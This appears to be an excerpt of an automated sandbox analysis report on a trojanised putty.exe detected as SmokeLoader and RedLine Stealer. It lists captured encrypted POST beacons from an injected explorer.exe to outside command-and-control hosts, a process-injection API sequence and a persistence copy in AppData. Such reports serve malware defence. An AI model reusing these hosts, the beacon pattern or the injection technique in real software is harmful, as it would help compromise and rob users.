20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50033	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:34.421761990 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fkdpjansght.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: connecticutproperty.ru
Dec 19, 2024 11:01:34.421787977 CET	145	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 9c 3c 34 87 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)<4IBsnQ1/aC_S+H06T< qpy/"
Dec 19, 2024 11:01:35.755727053 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:01:35 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50034	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:39.873128891 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://viejsmtmgdxamty.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: constractionscity1991.lat
Dec 19, 2024 11:01:39.873186111 CET	234	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 87 10 74 91 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)t1yV+E"T/' F~oS30-z$TM[rk~r*Z~T>{WWf>$fX!@PEbk$#ya)y?Ur{{^M[
Dec 19, 2024 11:01:41.227861881 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50035	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:41.715229988 CET	288	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://quegfhrneryhjosy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 338 Host: restructurisationservice.ru
Dec 19, 2024 11:01:41.715244055 CET	338	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 83 45 6c 8b Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)EldD1eHB~m6s^@!x,uES]?lhS9Sbp{`,\| r_wK6cul5k)9=UC? cRa a
Dec 19, 2024 11:01:43.091700077 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50036	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:43.223036051 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ldbqkqcjtqgsavin.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 281 Host: connecticutproperty.ru
Dec 19, 2024 11:01:43.223078012 CET	281	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 86 58 35 9c Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)X5wt[1tcr7-Ye-)"5-VmFQL/{R1z!6vfLZfuU4b\{9+`Fqgv!Kf[Hdqu\{k~
Dec 19, 2024 11:01:44.556948900 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 10:01:44 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50037	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 11:01:49.725538015 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mmxcodigejxhlx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: constractionscity1991.lat
Dec 19, 2024 11:01:49.725586891 CET	317	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e8 19 4e ba Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)N$I) h>",E^Xi2sf1jh~^^Wy~p1<cUDr$\|&2#Bps'E]ihNjescrS57!W>'
Dec 19, 2024 11:01:51.089430094 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 10:01:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Target ID:	0
Start time:	04:57:43
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\putty.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\putty.exe"
Imagebase:	0x400000
File size:	245'760 bytes
MD5 hash:	3BBAC642557B0AB934ADDBAC0594561C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.2110499167.0000000000950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2177166657.0000000000849000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:57:51
Start date:	19/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:58:11
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Roaming\hajefwb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hajefwb
Imagebase:	0x400000
File size:	245'760 bytes
MD5 hash:	3BBAC642557B0AB934ADDBAC0594561C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.2439322888.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.2439682112.0000000000AA8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000003.2388445359.0000000000890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:00:01
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Roaming\hajefwb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hajefwb
Imagebase:	0x400000
File size:	245'760 bytes
MD5 hash:	3BBAC642557B0AB934ADDBAC0594561C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	25.5%
Signature Coverage:	42.7%
Total number of Nodes:	192
Total number of Limit Nodes:	6

Executed Functions

Function 0041E7A0 Relevance: 34.8, APIs: 23, Instructions: 305
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDateFormatA.KERNELBASE(00000000,00000000,?,00000000,?,00000000), ref: 0041E87F
FoldStringA.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041E8BA
BuildCommDCBA.KERNEL32(00000000,00000000), ref: 0041E8C2
GetTimeFormatA.KERNEL32(00000000,00000000,?,00000000,?,00000000), ref: 0041E8F3
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 0041E8FB
SetFileAttributesA.KERNEL32(00423370,00000000), ref: 0041E907
UnregisterWaitEx.KERNEL32(?,00000000), ref: 0041E917
SetLocaleInfoA.KERNEL32(00000000,00000000,00423380), ref: 0041E924

Memory Dump Source

Source File: 00000000.00000002.2176696663.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_putty.jbxd

Similarity

API ID: Format$AttributesBoostBuildCommDateFileFoldInfoLocalePriorityProcessStringTimeUnregisterWait
String ID:
API String ID: 3960956766-0
Opcode ID: 914c2a7e43a7881f3aa375db9e339a1e29a6939f754bf8832aeec207d45dfe88
Instruction ID: 6ae51a12dd7b4aebb8f82212809d29e946f68f2589e94ec055893a89d6f8ae5b
Opcode Fuzzy Hash: 914c2a7e43a7881f3aa375db9e339a1e29a6939f754bf8832aeec207d45dfe88
Instruction Fuzzy Hash: 20A1C0B5904200AFD320EF61ED84DAB77ADFB88304F40493EFA4692261DB789C45CB6D

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 0084CB80 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0084CBA8
Module32First.KERNEL32(00000000,00000224), ref: 0084CBC8

Memory Dump Source

Source File: 00000000.00000002.2177166657.0000000000849000.00000040.00000020.00020000.00000000.sdmp, Offset: 00849000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_849000_putty.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f3054302d36f515f05a4cafb62f90254cb4fd7f3b015d9c319aa3802630dbcf8
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 1BF06D32601B186FD7603AB9A88EA6A76ECFF49734F100969E642D24C0DA70E8458A61

Function 0094003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0094024D

Strings

kernel32.dll, xrefs: 0094008F, 00940095
cess, xrefs: 0094018D

Memory Dump Source

Source File: 00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
